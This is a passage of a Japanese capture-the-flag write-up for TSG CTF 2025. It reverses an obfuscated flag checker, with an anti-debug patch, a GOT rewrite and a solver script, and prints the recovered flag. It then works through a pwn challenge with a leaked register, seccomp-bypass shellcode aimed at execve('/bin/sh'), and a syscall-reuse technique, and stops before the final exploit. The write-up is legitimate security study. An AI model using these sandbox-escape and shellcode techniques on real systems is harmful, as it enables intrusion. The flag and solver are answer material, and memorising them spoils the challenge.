/proc/self/statusファイルを開いて、TracerPid:から始まる行を探し、内容の10進数表記の値を取得する関数でした。manページに記述がある通り、/proc/pid/statusファイル中のTracerPidは、pidのプロセスをトレースしているプロセスのIDを表します(出典: proc_pid_status(5) - Linux manual page)。今回はpid箇所にselfを指定しているので、自身のプロセスをトレースしているプロセスのIDを取得しています。「トレースしている」とは、どうやらおそらくptraceシステムコールでトレースしている状況で、おそらく実質的にはデバッグ実行している状況を指す印象です。そういうわけで0x40408Fの関数は全体として、自身のプロセスがデバッグされていればtrueを、そうでない場合はfalseを返す関数でした。また、ProcUpdateGlobalVariable()と名付けている関数も呼び出していました。詳細は後述します。

0x404172の関数が、上述の0x40408Fの関数を呼び出し、戻り値が非0の場合はexit(1)を実行して終了する内容でした。この挙動に対抗するために、0x40410Eからの[0x89, 0x85, 0xE4, 0xFE, 0xFF, 0xFF][0x90, 0x90, 0x90, 0x90, 0x90, 0x90]へ置き換えてバイナリパッチを当てました。意味は、dwTracerPid = atoi(&strLineSize256[10]);箇所を、戻り値を無視するatoi(&strLineSize256[10]);に書き換えるものです。これでデバッガー経由で実行しても、exit(1)させずに処理を続行できるようになりました。

シグナルハンドラー設定内容

.init_arrayセクションに登録されている0x403F4Fの関数でシグナルハンドラー登録等を行っていました:

void __fastcall SigActionProc_SetSignalHandlers()
{
  size_t v0; // rax
  struct sigaltstack ss; // [rsp+0h] [rbp-C0h] BYREF
  struct sigaction act; // [rsp+20h] [rbp-A0h] BYREF
  unsigned __int64 qwCanary; // [rsp+B8h] [rbp-8h]

  qwCanary = __readfsqword(0x28u);
  memset(&ss, 0, sizeof(ss));
  v0 = sysconf(250);                            // 手元環境だと 0x2000 が返った。意味は謎。
  ss.ss_sp = malloc(v0);
  ss.ss_size = sysconf(250);
  ss.ss_flags = 0;
  if ( sigaltstack(&ss, 0) == -1 )
    exit(1);
  ProcUpdateGlobalVariable();
  memset(&act, 0, sizeof(act));
  act.sa_handler = (__sighandler_t)ProcSigHandler_For_SigSegv_SigIll;
  sigemptyset(&act.sa_mask);
  act.sa_flags = 0x8000004;                     //  SA_SIGINFO(0x00000004) | SA_ONSTACK(0x08000000)
  if ( sigaction(SIGSEGV, &act, 0) == -1 )
    exit(1);
  if ( sigaction(SIGILL, &act, 0) == -1 )
    exit(1);
}

SIGSEGVシグナルやSIGILLシグナルが発生した場合に、指定シグナルハンドラーで処理を行うよう指定していました。その他、sigaltstackというシステムコールも使用していました。ただ、なぜsigaltstackシステムコールを使用しているのか、問題としてどのような意図があるのかは全く分かりませんでした……。

シグナルハンドラーの内容は後述します。

自己GOT書き換えからの__stack_chk_fail関数呼び出しルート

前述したように、0x403F4Fの関数でシグナルハンドラーを登録していました。しばらく、どうすればそのシグナルハンドラーへ突入してくれるのかを考えていました。

これまで何度か言及している、ProcUpdateGlobalVariableと命名している0x403ED5の関数は次の内容でした:

void __fastcall ProcUpdateGlobalVariable()
{
  if ( g_dwSomeCounter_UsedInSignalHandler == 1 )
  {
    g_got_stack_chk_fail = &locAddRsp8Ret_InInitProc;// add rsp, 8; ret
  }
  else if ( g_dwSomeCounter_UsedInSignalHandler == 2 )
  {
    g_got_stack_chk_fail = got_plt__stack_chk_fail;// 正規のPLT内容
  }
  else if ( g_dwSomeCounter_UsedInSignalHandler )// 3以上
  {
    g_got_stack_chk_fail = (_UNKNOWN *)(g_dwSomeCounter_UsedInSignalHandler + 0x12567890LL);// SIGSEGVルートのはず
  }
  else
  {
    g_got_stack_chk_fail = got_plt__stack_chk_fail;// if 0 正規のPLT内容
  }
  ++g_dwSomeCounter_UsedInSignalHandler;
}

__stack_chk_fail関数に対応するGOTアドレスを自分で書き換えてる驚きの内容でした!これを見てchecksec結果を確認しました:

$ pwn checksec chall
[*] '/mnt/d/Documents/work/ctf/TSG_CTF_2025/shadow_spider_network/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled

Partial RELROなので、GOTアドレスを書き換えられる設定でした!

その後色々考えると、次の流れでシグナルハンドラーへ突入できることに気づきました:

  1. 0x404450の関数で、scanf関数でchar[56]のバッファへユーザー入力を読み込むときに、56文字以上を与えてバッファオーバーフローさせます。
  2. 0x40419Fの関数はif ( strlen(pInput) != 40 ) return 1;の分岐を通ります。
  3. 0x404450の関数を抜ける前に、stack canaryが上書きされていることを検知して、0x4044A1call __stack_chk_failを実行します。
  4. その時までに0x403ED5の関数が2回呼び出されているため、__stack_chk_fail用のGOT内容がadd rsp, 8; retのアドレスに設定されています。
  5. GOT内容のadd rsp, 8; ret実行時、TSGCTF{...}の先頭8バイト分をアドレスとして解釈した場所へreturnしようとするため、ここでSIGSEGVシグナルが発生します!

Stack Buffer Overflowを起こすルートが正攻法のようで、衝撃的でした!

フラグチェッカー本体としてのシグナルハンドラー内容

ここまでで、シグナルハンドラーへ突入する方法を調べてきました。満を持しての、0x401363のシグナルハンドラー本体は次の内容でした:

void __fastcall ProcSigHandler_For_SigSegv_SigIll(int sig, siginfo_t *info, ucontext_t *ucontext)
{
  // ローカル変数定義省略

  qwRipAtSignal = ucontext->uc_mcontext.gregs[REG_RIP];
  if ( qwRipAtSignal == 0x8020392031LL )
  {
    if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[REG_RBP] - 27) == 'd' )
    {
      g_got_stack_chk_fail = (void (*)())0xD019DF9;
      v44 = ucontext->uc_mcontext.gregs[REG_RSP];
      if ( (v44 & 0xF) == 8 )
        v44 -= 8LL;
      ucontext->uc_mcontext.gregs[REG_RSP] = v44;
      ucontext->uc_mcontext.gregs[REG_RIP] = (greg_t)&loc_404486;// 別関数の途中。多分途中で___stack_chk_failを呼び出させるためのもの。
    }
    else
    {
      ucontext->uc_mcontext.gregs[REG_RIP] = (greg_t)plt__stack_chk_fail;
    }
  }
  else
  {
    // 以降同様の分岐が約1300行あります。省略します。

    if ( qwRipAtSignal > 0x404471 )
    {
labelJumpPutsWrong:
      ucontext->uc_mcontext.gregs[REG_RIP] = (greg_t)ReturnInstructionAddressInMain(1);// puts("Wrong")
      return;
    }
    if ( qwRipAtSignal )
    {
      if ( (_UNKNOWN *)qwRipAtSignal != &locret_40101A )// 最初の「add rsp, 8; ret」のret箇所が0x40101A
        goto labelJumpPutsWrong;
      if ( *(_WORD *)(ucontext->uc_mcontext.gregs[REG_RBP] + 17) == '}' )// ここだけ、閉じ波括弧と後続のNUL文字の2バイト判定。 TSGCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} 形式らしい
      {
        ucontext->uc_mcontext.gregs[REG_RSP] -= 8LL;
        g_got_stack_chk_fail = (void (*)())0xDEADBEEFLL;
        ++g_dwSomeCounter_UsedInSignalHandler;
        ucontext->uc_mcontext.gregs[REG_RIP] = 0x1890909090LL;
      }
      else
      {
        ucontext->uc_mcontext.gregs[REG_RIP] = (greg_t)plt__stack_chk_fail;
      }
    }
    else if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[REG_RBP] - 19) == 'm' )// ここに来るのはRIPが0の場合
    {
      g_got_stack_chk_fail = (void (*)())0x90F28BF;
      v16 = ucontext->uc_mcontext.gregs[REG_RSP];
      if ( (v16 & 0xF) == 8 )
        v16 -= 8LL;
      ucontext->uc_mcontext.gregs[REG_RSP] = v16;
      ucontext->uc_mcontext.gregs[REG_RIP] = (greg_t)ReturnInstructionAddressInMain(0);// puts("Correct")
    }
    else
    {
      ucontext->uc_mcontext.gregs[REG_RIP] = (greg_t)plt__stack_chk_fail;
    }
  }
}

シグナル発生時のripレジスタ内容で、switch/caseで分岐しているらしい内容でした。それぞれの分岐では次のことを行います:

  • フラグの特定index内容を検証します。もし異なる場合は、.pltセクションのplt__stack_chk_fail関数へ制御を移すことで、*** stack smashing detected ***: terminatedメッセージを表示させて終了させます。
  • もし特定index内容が正しい場合は、__stack_chk_fail関数のGOT内容やripレジスタ内容を書き換えて、次には異なる場所でシグナルを発生させます。

正しいフラグを入力している場合は、シグナルハンドラーの様々な分岐を通った後に、最後にputs("Correct")するアドレスへripレジスタが設定されて、正解メッセージが表示される内容でした。ものすごい仕組みです!

シグナルハンドラー内容の逆コンパイル結果からフラグを1文字ずつ構築

シグナルハンドラーの大体の流れが分かったとき、こう思いました。「逆コンパイル結果からフラグ判定らしい箇所を抜き出せば、正解フラグが分かるかも?」と。実装しました:

#!/usr/bin/env python3


import re

decompiled = """
// 0x401363関数の逆コンパイル結果約1300行をここに貼ります。本記事では省略します。
"""

flag = bytearray(b"?" * 82)

OFFSET = len(flag) - 17 - 1

for line in decompiled.splitlines():
    if not ("if" in line and "ucontext->uc_mcontext.gregs" in line):
        continue
    print(line)
    assert (
        "ucontext->uc_mcontext.gregs[10]" in line
        or "ucontext->uc_mcontext.gregs[REG_RBP]" in line
    )

    # 正規表現を分けるのが面倒なので特例
    if "if ( *(_BYTE *)ucontext->uc_mcontext.gregs[10] == 51 )" in line:
        flag[OFFSET] = 51
    else:
        m = re.search(
            r"ucontext->uc_mcontext.gregs\[(10|REG_RBP)\] ([+-]) (\d+)\) == ('.'|\d+) \)",
            line,
        )
        sign = m.group(2)
        v2 = int(m.group(3))
        v3 = m.group(4)
        if v3.startswith("'"):
            assert len(v3) == 3
            v3 = ord(v3[1])
        else:
            v3 = int(v3)
        match sign:
            case "+":
                flag[OFFSET + v2] = v3
            case "-":
                flag[OFFSET - v2] = v3
            case _:
                raise Exception("Invalid sign")
print(flag.decode())

上述した逆コンパイル結果ではREG_RBP等の定数名を使うように設定していましたが、数十個ある定数10すべてを設定していくのは大変なので、正規表現を分けることで対応しました。デバッグ用の表示を含む、実行結果です:

$ ./solve.py
    if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[REG_RBP] - 27) == 'd' )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[REG_RBP] - 53) == '5' )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[REG_RBP] - 61) == 'C' )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[REG_RBP] - 32) == '1' )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 31) == 51 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 42) == 110 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 18) == 109 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 52) == 55 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 41) == 55 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 24) == 114 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 60) == 84 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 2) == 113 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 5) == 104 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 1) == 95 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 25) == 80 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 2) == 102 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 3) == 48 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 49) == 97 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 7) == 51 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 3) == 49 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 64) == 84 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 21) == 114 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 6) == 99 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 4) == 114 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 20) == 97 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 58) == 123 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 55) == 118 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 11) == 99 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 40) == 48 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 47) == 49 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 15) == 103 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 4) == 110 )
          if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 36) == 70 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 33) == 114 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 7) == 98 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 59) == 70 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 8) == 55 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 13) == 97 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 38) == 66 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 56) == 110 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 51) == 49 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 54) == 51 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 34) == 79 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 6) == 48 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 13) == 55 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 22) == 103 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 39) == 95 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 14) == 95 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 26) == 95 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 16) == 110 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 63) == 83 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 43) == 49 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 44) == 95 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 46) == 48 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 50) == 103 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 30) == 110 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 9) == 117 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 45) == 110 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 9) == 95 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 16) == 110 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 17) == 49 )
      if ( *(_BYTE *)ucontext->uc_mcontext.gregs[10] == 51 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 23) == 48 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 14) == 49 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 35) == 95 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 10) == 53 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 8) == 102 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 48) == 55 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 5) == 95 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 37) == 79 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 28) == 51 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 10) == 97 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 29) == 55 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 1) == 117 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 12) == 97 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[REG_RBP] - 12) == 53 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] + 15) == 48 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 57) == 73 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 62) == 71 )
      if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 11) == 95 )
      if ( *(_WORD *)(ucontext->uc_mcontext.gregs[REG_RBP] + 17) == '}' )// ここだけ、閉じ波括弧と後続のNUL文字の2バイト判定。 TSGCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx} 形式らしい
    else if ( *(_BYTE *)(ucontext->uc_mcontext.gregs[10] - 19) == 109 )// ここに来るのはRIPが0の場合
TSGCTF{Inv3571ga710n_1n70_BOF_Or13n73d_Pr0gramm1ng_a5_a_73chn1qu3_f0r_0bfu5ca710n}
$ ./chall
FLAG> TSGCTF{Inv3571ga710n_1n70_BOF_Or13n73d_Pr0gramm1ng_a5_a_73chn1qu3_f0r_0bfu5ca710n}
Correct!
$

フラグを入手できました: TSGCTF{Inv3571ga710n_1n70_BOF_Or13n73d_Pr0gramm1ng_a5_a_73chn1qu3_f0r_0bfu5ca710n}

何から何まで発想が物凄い問題です!

余談: IDAではGOTを見てどの関数のものかは分かりやすいですが、PLTを間数を見てどの関数のものかは分かりづらいかも

GOTを書き換える処理の流れを調べるとき、「この書き換えているグローバル変数は何だろう?→GOTだ!」「グローバル変数へ代入しているアドレスは何だろう?→PLTらしい!」と調べていました。このうちGOT側は、IDA表示が分かりやすかったです。例えば0x403F4Fの関数で書き換えているアドレス0x407040を相互参照でたどると、dq offset __stack_chk_failとあることから__stack_chk_fail関数のGOTと分かります:

.got.plt:0000000000407040 F0 70 40 00 00 00 00 00              off_407040      dq offset __stack_chk_fail

一方でPLT側は、IDAでは分かりづらいようです。例えば0x403F06mov qword ptr [rax], offset sub_401080での代入元のsub_401080は、__stack_chk_failのPLT箇所のアドレスです:

.plt:0000000000401080                                      sub_401080      proc near               ; DATA XREF: sub_401363+563↓o
.plt:0000000000401080                                                                              ; sub_401363+5F5↓o ...
.plt:0000000000401080 000 F3 0F 1E FA                                      endbr64
.plt:0000000000401084 000 68 05 00 00 00                                   push    5
.plt:0000000000401089 008 F2 E9 91 FF FF FF                                bnd jmp sub_401020
.plt:0000000000401089                                      sub_401080      endp

通常の解析ではPLT箇所の関数は相互参照に現れないため、どのライブラリ関数に対応しているかは気にする必要が全然ありませんでした。今回は珍しい、対応する関数を気にする必要がある場合でした。解析中は「.got.pltセクションでのGOT順序が0-originで5番目なのは__stack_chk_fail関数」として判断しました。

[Misc, med, pwn] ro_shellbox (14 team solves, 240 points)

read-onlyなら安全なはずです

(nc接続先省略)

配布ファイルとして、問題本体のro_shellboxバイナリや、元ソースのmain.c、サーバー側の開始プログラムstart.shなどがありました:

$ find . -type f -print0 | xargs -0 file
./build/ctf.conf:     ASCII text
./build/flag:         ASCII text
./build/nginx.conf:   ASCII text
./build/start.sh:     POSIX shell script, ASCII text executable
./dist/ro_shellbox:   ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2fbf35a503b06cebc915d5787e2c2bffeef4c258, for GNU/Linux 3.2.0, not stripped
./docker-compose.yml: ASCII text
./Dockerfile:         ASCII text
./main.c:             C source, ASCII text
./ro_shellbox:        ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2fbf35a503b06cebc915d5787e2c2bffeef4c258, for GNU/Linux 3.2.0, not stripped
$

配布ファイルのざっくり解説です:

  • Dockerfile中に、RUN mv ./flag ./flag-$(md5sum flag | awk '{print $1}').txtで、flagファイルを名前を変えて配置する内容を含んでいました。
  • build/start.shは実質的にtimeout --foreground -s 9 60s stdbuf -i0 -o0 -e0 ./ro_shellboxの1行でした。timeoutコマンドで60秒後にSIGKILLシグナルを送信するよう設定しつつ、stdbufコマンドでバッファリングを無効化して、ro_shellboxバイナリを実行する内容でした。
  • main.cをビルドしたものがro_shellboxバイナリのようでした。ro_shellboxバイナリは、様々な設定や検証をした後に、シェルコードを読み込んで実行する内容でした。詳細は後述します。

本問題の目標は、シェルコードからflag-{ハッシュ値}.txtファイルを読み込んで表示することでした。

シェルコード実行環境やシェルコードバイト列の制約

ro_shellboxバイナリには、様々な事前設定を行ったり、シェルコードに特定バイト列が含まれている場合は実行を拒否したりする機能がありました。概要です:

  • ランダムなアドレスにサイズ0x1000の領域をmmapで確保し、後述する固定内容の後ろに、ユーザー入力のシェルコードを書き込みます。その後、確保した領域をmprotectPROT_READ | PROT_EXEC権限へ変更し、書き込み不可能にします。
  • シェルコードuint8_t *nについて、次のいずれかのバイト列を含むか検証します。1つでも含む場合はInput is not Safe扱いにして、シェルコードを実行しないまま終了します。コロン右側は筆者の補足です。
    • n[i] == 0x0f && n[i + 1] == 0x05: syscall命令の機械語です。
    • n[i] == 0x48 && n[i + 1] == 0x8D && (n[i + 2] & 0xC7) == 0x05: どうやらlea rax, [rip+N]等のrip相対アドレス系統の機械語のようです。
    • n[i] == 0xF3 && n[i + 1] == 0x0F && n[i + 2] == 0xAE: どうやらwrfsbase命令等の機械語のようです。
    • n[i] == 0xF3 && n[i + 2] == 0x0F && n[i + 3] == 0xAE: どうやらprefix付きのwrfsbase命令等の機械語のようです。
  • seccomp機能を使って、execveシステムコールとexecveatシステムコールを禁止します。
  • /proc/self/mapsファイル内容やmprotectシステムコールを使って、ldやglibc、vdsoの領域を実行不可能にします。この処理の後でも実行可能なページは、上述のシェルコードが書き込まれた領域と、ro_shellboxバイナリ用の元々実行できた領域の2つだけです。
    • この処理を行うために、インラインアセンブリでsyscall命令を使っています。このsyscall命令の存在が後で重要になります。
    • もしもglibc中の関数を使ってmprotectしてしまうと、glibc中のページが実行不可能になるためmprotect後のglibc領域実行時にページ違反が発生するはずです。
  • 与えたシェルコードを実行する直前に、次のことを行います。
    • raxrbxrcxrdxrsirdirsprbpr8r15レジスタの内容を0に設定します。
    • wrfsbase raxで、fsbaseレジスタの内容も0に設定します。

条件が多くて堅牢でした。シェルコードは、rsp等含めてレジスタが0クリアされている上に自己書き換えができない中で、何とかしてsyscallを使って、かつexecve類無しでフラグ内容を表示する必要がありました!

全レジスタからの宝探しとアドレスリーク

以前、同じようなシチュエーションの言及があったことを思い出しました:

このシチュエーションでは、prefetch系命令を使った時間測定でのサイドチャネル攻撃が有効とのことです。一方で、SIMDレジスタに内容が残っている場合があるとの他の方の言及がありました:

今回の場合、入力として与えるシェルコードが実行されるタイミングでinfo register allコマンドで全レジスタの内容を調べると、$ymm0.v4_int64[0]にglibc中のアドレスが含まれていることが分かりました!

pwndbg> p/x $ymm0.v4_int64[0]
$1 = 0x78cef818a803
pwndbg> vmmap $1
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
    (省略)
    0x78cef8185000     0x78cef8189000 r--p     4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
→   0x78cef8189000     0x78cef818b000 ---p     2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6 +0x1803
    0x78cef818b000     0x78cef8198000 ---p     d000      0 load13
    (省略)

そのためglibcのimage baseを計算できました。また、glibc中のenvironグローバル変数にはスタックのアドレスが保持されている(出典: 各種OSのUserlandにおけるPwn入門 - WTF!?)ため、スタック中のアドレスも分かりました。

スタックの内容を調べるとro_shellboxバイナリ中のアドレスも存在したため、ro_shellboxバイナリのimage baseも計算できました。シェルコード単体ではsyscall命令を含めることはできませんが、ro_shellbox中のsyscall命令を利用できるようになりました!

(失敗)syscall1回で完了させるために0x40000000以上のsyscall番号でexecveを狙うもEINVALエラー

本セクションは、試したものの失敗した内容を記述します。読み飛ばしても問題ありません。

本問題構成の概要で「seccomp機能を使って、execveシステムコールとexecveatシステムコールの実行を禁止」と書きました。より詳細には、次の処理を行っていました(seccomp-toolsを使っています):

$ seccomp-tools dump ./ro_shellbox
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0006
 0005: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS
 0006: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0008
 0007: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW

$

何かが不足している気がしたので調べると、Guide-of-Seccomp-in-CTF | n132If the filter doesn’t check if the syscall is larger than 0x40000000, we could use x32 ABI to bypass the filterという記述があることを思い出しました。調べると__X32_SYSCALL_BITマクロの値が0x40000000のようです(出典: unistd.h - arch/x86/include/uapi/asm/unistd.h - Linux source code v6.12.4 - Bootlin Elixir Cross Referencer)。__X32_SYSCALL_BITの話はsyscall(2) - Linux manual pageに記述があります。

今回の問題のseccomp設定内容はx32 ABIを使う手法で突破できそうに思ったので、次のようなシェルコードを試しました:

mov     rax, 0x4000000b # hex(pwn.constants.linux.i386.SYS_execve + 0x40000000)
mov     rdi, (ro_shellbox中のRW領域のアドレス)
mov     r15, 0x68732f6e69622f # hex(int.from_bytes(b"/bin/sh\x00", "little"))
mov     [rdi], r15 # /bin/sh
mov     rsi, 0
mov     rdx, 0
jmp     (ro_shellbox中のsyscall命令のアドレス)

ただgdbでデバッグしてみると、syscall命令実行後のraxレジスタ内容は-22でした。EINVALエラーらしいです。

最初のうちは、原因はアドレスが32-bitに収まっていないことだと思っていました。ただ後述の手法で複数回syscallできるようにした後、32-bitで表現できるアドレスをmmapしてからx32版execveを試しても、依然としてEINVALエラーで失敗しました。本手法が失敗した理由は分かっていません。

加えて本記事を書いている途中に気付いた点として、ro_shellbox中でclose(0);しています!そのため、execveできたとしても入力を与えられないため、どのみちsyscall1回では不可能に思います。

syscallを複数回実行するための準備

ro_shellcodeバイナリ中のsyscall命令呼び出し以降は次の内容でした:

.text:00000000000018BE                 syscall
.text:00000000000018C0                 add     [rbp+var_93C], 1
.text:00000000000018C7
.text:00000000000018C7 loc_18C7:
.text:00000000000018C7                 mov     eax, [rbp+var_93C]
.text:00000000000018CD                 cmp     eax, [rbp+var_940]
.text:00000000000018D3                 jl      short loc_185A
.text:00000000000018D5                 nop
.text:00000000000018D6
.text:00000000000018D6 loc_18D6:
.text:00000000000018D6                 mov     rax, [rbp+var_8]
.text:00000000000018DA                 sub     rax, fs:28h
.text:00000000000018E3                 jz      short locret_18EA
.text:00000000000018E5                 call    ___stack_chk_fail
.text:00000000000018EA ; ---------------------------------------------------------------------------
.text:00000000000018EA
.text:00000000000018EA locret_18EA:
.text:00000000000018EA                 leave
.text:00000000000018EB                 retn

syscall命令1回でフラグを表示できない場合は、syscall命令が制御を返して、後続の命令が実行されます。前述の通りexecve系はseccompで禁止されており、また__X32_SYSCALL_BITを使ったx32版を呼び出す手法は失敗したため、syscall1回ではフラグを表示できないと判断しました。

RVA0x18BEsyscall命令が制御を返してからretまで到達して、適切にreturnさせるためには、次の条件をすべて満たす必要がありました:

  • [rbp-0x93C]を読み書きできる。
  • [rbp-0x940]を読める。
  • 雰囲気で書くと++[rbp-0x93C] >= [rbp-0x940]を満たす。
  • [rbp-0x8]を読める。
  • fs:28hを読める。
  • [rbp-0x8]fs:28hが一致する。

rbpレジスタ関係の内容は特段問題ありませんでした。ro_shellboxのimage baseが判明しており、かつro_shellbox中の読み書き可能な領域が0x1000サイズ存在したため、読み書き可能な領域の後ろの方をrbpレジスタへ設定しつつ、実際にアクセスされる場所を事前に書き込めば達成できました。

悩んだのは「fs:28hを読める」側でした。入力として与えるシェルコードが実行される前にwrfsbase raxfsbaseレジスタ内容を0に設定されているため、fs:28hアクセス時にSIGSEGVが発生する状況でした。シェルコード側で改めてwrfsbase rax等で設定しようにも、機械語バイト列がn[i] == 0xF3 && n[i + 1] == 0x0F && n[i + 2] == 0xAEか、1バイトprefixの入ったn[i] == 0xF3 && n[i + 2] == 0x0F && n[i + 3] == 0xAEかのどちらかを満たすようで、Input is not Safe扱いになってしまいました。

fsセグメントレジスター(?)やfsbaseのことが全然分からないまま調べていると、1回目のsyscallarch_prctl(ARCH_SET_FS, addr)を行うことで、その後のfs:28hアクセスが[addr+0x28]アクセスになってくれることを知りました!fsprefixは、base addressを暗黙に指定するだけの機能のようです……?

後はデバッグ実行を繰り返しながら、RVA0x18EBret時にシェルコードへreturnするように調整して、syscall命令を任意回数呼び出せるようになりました!注意点として、syscall命令結果のraxレジスタ内容はRVA0x18C7などの操作で失われます。

なお、他にもsyscall命令として解釈できるアドレスがあるかrp-lin -f ro_shellbox -r 5で探すと、RVA0x1A4Dも見つかりました。ただ当該アドレスはmain関数の真っ只中であるため、上述のRVA0x18BE側のほうがはるかに利用しやすい状況でした。

最終的な方針とソルバーとフラグ

最終的に、次の方針を取りました:

  1. $ymm0.v4_int64[0]からglibc中のアドレスをleak。
